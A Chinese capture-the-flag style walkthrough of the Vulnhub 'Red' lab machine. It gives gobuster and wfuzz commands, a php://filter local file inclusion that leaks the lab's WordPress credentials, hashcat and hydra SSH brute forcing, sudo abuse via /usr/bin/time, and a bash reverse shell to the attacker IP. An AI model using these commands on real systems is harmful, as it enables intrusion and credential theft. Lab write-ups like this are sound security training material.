3-vulnhub靶场,red

Vulnhub red靶机
靶机192.168.137.130
攻击机192.168.137.129
扫描信息:
在这里插入图片描述
开放22端口和80端口
查看80端口:
在这里插入图片描述
发现很多链接都指向一个域名,都打不开
在这里插入图片描述
尝试修改host文件
路径:/etc/hosts
添加192.168.137.130 redrocks.win
在这里插入图片描述
显示是一个被黑客攻击过的画面,然后还说里面存在后门文件
查找后门文件:
因为 WordPress 在 Apache PHP 上运行。所以应该是 php 后门,用目录扫描看看能不能扫出疑似后门的文件,所以用 SecLists 里的 CommonBackdoors-PHP.fuzz.txt 扫。

SecLists是OWASP维护的一个安全信息列表集合。该集合包括了用于渗透的各种类型的列表。这些列表包含了237个字典文件以及常用的Web Shell攻击载荷。字典文件类型众多,包括用户名、密码、域名、敏感数据特征码、模糊测试载荷等

安装:

apt install seclists
工具使用:

Gobuster这款工具基于Go编程语言开发,广大研究人员可使用该工具来对目录、文件、DNS和VHost等对象进行暴力破解攻击。
安装:

apt update
apt install gobuster
工具可选模式:
dir:传统的目录爆破模式;
dns:DNS子域名爆破模式;
vhost:虚拟主机爆破模式;
gobuster dir -u http://redrocks.win -w /usr/share/seclists/Discovery/Web-Content/CommonBackdoors-PHP.fuzz.txt		

在这里插入图片描述
找到路径/NetworkFileManagerPHP.php
扫出了 NetworkFileManagerPHP.php,状态码是500,所以就不是那种菜刀扫描的后文文件,猜测可能存在本地文件包含,应该需要一个参数指定包含的文件名
于是通过进行wfuzz参数测试

wfuzz -c -u 'http://redrocks.win/NetworkFileManagerPHP.php?FUZZ=test' -w /usr/share/seclists/Discovery/Web-Content/burp-parameter-names.txt

在这里插入图片描述
参数是key
尝试一下漏洞利用:
在这里插入图片描述
尝试远程访问链接,没成功
利用伪协议查看这个后门源码

http://redrocks.win/NetworkFileManagerPHP.php?key=php://filter/read=convert.base64-encode/resource=NetworkFileManagerPHP.php

将获取到的数据base64解码得到:

<?php
   $file = $_GET['key'];
   if(isset($file))
   {
       include("$file");
   }
   else
   {
       include("NetworkFileManagerPHP.php");
   }
   /* That password alone won't help you! Hashcat says rules are rules */
?>

因为是WordPress,所以查找该配置文件信息wp-config.php
同样的方法得到
http://redrocks.win/NetworkFileManagerPHP.php?key=php://filter/read=convert.base64-encode/resource=wp-config.php
解码得到:
<?php
/**
* The base configuration for WordPress
 *
 * The wp-config.php creation script uses this file during the installation.
 * You don't have to use the web site, you can copy this file to "wp-config.php"
 * and fill in the values.
 *
 * This file contains the following configurations:
 *
 * * MySQL settings
 * * Secret keys
 * * Database table prefix
 * * ABSPATH
 *
 * @link https://wordpress.org/support/article/editing-wp-config-php/
 *
 * @package WordPress
 */
// ** MySQL settings - You can get this info from your web host ** //
/** The name of the database for WordPress */
define( 'DB_NAME', 'wordpress' );

/** MySQL database username */
define( 'DB_USER', 'john' );

/** MySQL database password */
define( 'DB_PASSWORD', 'R3v_m4lwh3r3_k1nG!!' );

/** MySQL hostname */
define( 'DB_HOST', 'localhost' );

/** Database Charset to use in creating database tables. */
define( 'DB_CHARSET', 'utf8' );

/** The Database Collate type. Don't change this if in doubt. */
define( 'DB_COLLATE', '' );

define('FS_METHOD', 'direct');

define('WP_SITEURL', 'http://redrocks.win');
define('WP_HOME', 'http://redrocks.win');

/**#@+
 * Authentication unique keys and salts.
 *
 * Change these to different unique phrases! You can generate these using
 * the {@link https://api.wordpress.org/secret-key/1.1/salt/ WordPress.org secret-key service}.
 *
 * You can change these at any point in time to invalidate all existing cookies.
 * This will force all users to have to log in again.
 *
 * @since 2.6.0
 */
define('AUTH_KEY',         '2uuBvc8SO5{>UwQ<^5V5[UHBw%N}-BwWqw|><*HfBwJ( $&%,(Zbg/jwFkRHf~v|');
define('SECURE_AUTH_KEY',  'ah}<I`52GL6C^@~x C9FpMq-)txgOmA<~{R5ktY/@.]dBF?keB3}+Y^u!a54 Xc(');
define('LOGGED_IN_KEY',    '[a!K}D<7-vB3Y&x_<3e]Wd+J]!o+A:U@QUZ-RU1]tO@/N}b}R@+/$+u*pJ|Z(xu-');
define('NONCE_KEY',        ' g4|@~:h,K29D}$FL-f/eujw(VT;8wa7xRWpVR: >},]!Ez.48E:ok 8Ip~5_o+a');
define('AUTH_SALT',        'a;,O<~vbpL+|@W+!Rs1o,T$r9(LwaXI =I7ZW$.Z[+BQ=B6QG7nr+w_bQ6B]5q4c');
define('SECURE_AUTH_SALT', 'GkU:% Lo} 9}w38i:%]=uq&J6Z&RR#v2vsB5a_ +.[us;6mE+|$x*+ D*Ke+:Nt:');
define('LOGGED_IN_SALT',   '#`F9&pm_jY}N3y0&8Z]EeL)z,$39,yFc$Nq`jGOMT_aM*`<$9A:9<Kk^L}fX@+iZ');
define('NONCE_SALT',       'hTlFE*6zlZMbqluz)hf:-:x-:l89fC4otci;38|i`7eU1;+k[!0[ZG.oCt2@-y3X');

/**#@-*/

/**
 * WordPress database table prefix.
 *
 * You can have multiple installations in one database if you give each
 * a unique prefix. Only numbers, letters, and underscores please!
 */
$table_prefix = 'wp_';

/**
 * For developers: WordPress debugging mode.
 *
 * Change this to true to enable the display of notices during development.
 * It is strongly recommended that plugin and theme developers use WP_DEBUG
 * in their development environments.
 *
 * For information on other constants that can be used for debugging,
 * visit the documentation.
 *
 * @link https://wordpress.org/support/article/debugging-in-wordpress/
 */
define( 'WP_DEBUG', false );

/* Add any custom values between this line and the "stop editing" line. */



/* That's all, stop editing! Happy publishing. */

/** Absolute path to the WordPress directory. */
if ( ! defined( 'ABSPATH' ) ) {
	define( 'ABSPATH', __DIR__ . '/' );
}

/** Sets up WordPress vars and included files. */
require_once ABSPATH . 'wp-settings.php';

通过配置文件可以看到有个John用户
密码:R3v_m4lwh3r3_k1nG!!
尝试ssh登录
登录失败
在这里插入图片描述
这句话,貌似就是提醒利用hashcat工具某规则对密码R3v_m4lwh3r3_k1nG!!进行爆破

hashcat --stdout pass.txt -r /usr/share/hashcat/rules/best64.rule > passlist.txt

pass.txt 为配置文件中读取的密码,passlist.txt为hash碰撞生成的密码
如果内容不够就设置1核4内存,设置不了就大概写一下密码本,下面有部分密码。
然后利用得到的密码passlist.txt文件进行爆破
在这里插入图片描述

hydra -l john -P passlist.txt ssh://192.168.137.130

在这里插入图片描述
这里没扫出来,可以等几分钟后再扫就有了,每次都是。
爆破出来密码是
密码:R3v_m4lwh3r3_k1nG!!02
Ssh登录:
在这里插入图片描述
后面有点逗
在这里插入图片描述
被停止连接了,而且还改了密码
下面进行一个会话维持
攻击机:nc -lvvp 4444
有提示是会利用到ippsec,利用time提权获取到这个用户的权限而不需要密码

sudo -u ippsec /usr/bin/time /bin/bash
bash -i >& /dev/tcp/192.168.137.129/4444 0>&1

先重新爆破一下密码
登录后切换用户,再监听

python3 -c 'import pty;pty.spawn("/bin/bash")'
/*下面我是理解为重新建立了一个终端,所以不受原程序导致挂掉链接的情况出现,使其权限维持*/
export TERM=xterm 
stty raw -echo;fg 
reset

在这里插入图片描述
可以看到左边的链接都挂掉了,右边的shell权限没有丢。
提权(来自他人):

cd /tmp
wget https://github.com/DominicBreuker/pspy/releases/download/v1.2.0/pspy64s

在tmp目录下安装pspy64s工具
在这里插入图片描述
这个工具可以去监听系统运行的程序。
在这里插入图片描述
(这个程序我这不好停止,所以后面是没有进行下去,不过也说一下流程)
然后找到使我们断开链接的程序,该程序是有root权限的,所以将该文件程序代码修改为反弹shell代码运行即可获取root的shell。
代码来自==https://www.revshells.com/ ==
在这里插入图片描述
修改一下ip参数,还有 execve(“sh”, argv, NULL); 改成 execve(“/bin/bash”, argv, NULL);
攻击机上搭建服务传过去,或者在shell中修改,不过由于vim和cat的命令是互换了的,有点奇奇怪怪的。最终就是执行一下代码,攻击机监听即可。

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值